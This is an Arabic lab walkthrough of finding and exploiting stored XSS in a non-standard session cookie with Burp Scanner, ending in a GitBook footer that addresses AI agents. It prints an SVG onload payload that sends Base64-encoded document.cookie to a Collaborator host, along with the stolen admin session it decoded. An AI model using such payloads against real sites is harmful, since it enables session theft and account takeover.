> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/essential-skills/analyzing-non-standard-data-structures.md).

# تحليل هياكل البيانات غير القياسية

### فحص هياكل البيانات غير القياسية

**خلفية المختبر**

تحتوي هذه المختبر على ثغرة يصعب تحديدها يدويًا لأنها تقع في **هيكل بيانات غير قياسي**. / الهدف هو استخدام **Burp Scanner**، وبالأخص **فحص نقطة الإدخال المحددة** الوظيفة، لاكتشاف الثغرة، ثم استغلالها يدويًا من أجل **إزالة المستخدم `carlos`**.

المعرّف المزوَّد:

* **المستخدم**: wiener
* **كلمة المرور**: peter

**الخطوة 1 – المصادقة**

اتصل بالتطبيق عبر صفحة تسجيل الدخول باستخدام بيانات الاعتماد المقدمة.

<figure><img src="/files/3ad0cbf674cacf749455e83d3676c3f5964893e7" alt=""><figcaption></figcaption></figure>

**الخطوة 2 – فحص موجّه عند نقطة إدخال**

بدلاً من إجراء فحص شامل، يتم تنفيذ فحص شديد الاستهداف:

* يتم اعتراض طلب موثّق.
* فقط **قيمة ملف تعريف ارتباط الجلسة** يتم تحديدها.

<figure><img src="/files/380939fbc0d085b314c75c1dd0e415815c724c35" alt=""><figcaption></figcaption></figure>

* نقوم بتشغيل **Burp Scanner → فحص نقطة الإدخال المحددة** على هذا العنصر المحدد.

يتيح هذا الفحص البسيط تحليل منطقة نادرًا ما تُختبر يدويًا: البنية الداخلية لملف تعريف الارتباط.

<figure><img src="/files/fd698c4284dd044604a83ee0aa2808b4db116ca4" alt=""><figcaption></figcaption></figure>

**الخطوة 3 – اكتشاف الثغرة**

يحدد Burp Scanner ثغرة من النوع:

* **Cross-Site Scripting (XSS) المخزن**

تُحقن الحمولة المكتشفة مباشرةً في ملف تعريف ارتباط الجلسة.

<figure><img src="/files/6c741bb359d63b6ee5c56da5c6807316db57f9f8" alt=""><figcaption></figcaption></figure>

مثال على الحمولة الأولية المكتشفة:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch`//uqo5wxufqik239ij6afcc710crik6hu6.oastify/.oastify.com`>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

**الخطوة 4 – استخراج ملف تعريف الارتباط عبر Burp Collaborator**

نقوم بتعديل الحمولة لاستخراج `document.cookie` المحتوى إلى خادم Collaborator الخاص بنا، مشفّرًا بصيغة Base64:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch(`//uqo5wxufqik239ij6afcc710crik6hu6/.oastify.com/${btoa(document.cookie)}`)>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

ثم نقوم **بترميز URL** للحمولة قبل الحقن:

```bash
'%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

<figure><img src="/files/915df59cff554c5e84bdecfde68d9601986e08ff" alt=""><figcaption></figcaption></figure>

**الخطوة 5 – استرجاع وفك ترميز ملف تعريف ارتباط المسؤول**

يتلقى خادم Collaborator طلبًا يحتوي على ملف تعريف الارتباط المشفّر بصيغة Base64:

```bash
GET
/c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY=
```

بعد فك الترميز، نحصل على:

```bash
session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv
```

<figure><img src="/files/d1cbc8edc680df5a4e6271e98bf8b281fa71208a" alt=""><figcaption></figcaption></figure>

**الخطوة 6 – وصول المسؤول والعملية النهائية**

باستخدام ملف تعريف ارتباط جلسة المسؤول:

* الواجهة **admin** يتم الوصول إليها.
* صفحة داخلية من **السجلات** يمكن الوصول إليها.
* عرضت هذه الصفحة ملفات تعريف الارتباط دون تصفية، مما يفسر استمرار **XSS المخزن**.
* وبعد ذلك يمكن إزالة المستخدم **carlos** والتحقق من المختبر.

<figure><img src="/files/d325036c7f336fdb964eec01720db09189ce4ce8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/essential-skills/analyzing-non-standard-data-structures.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
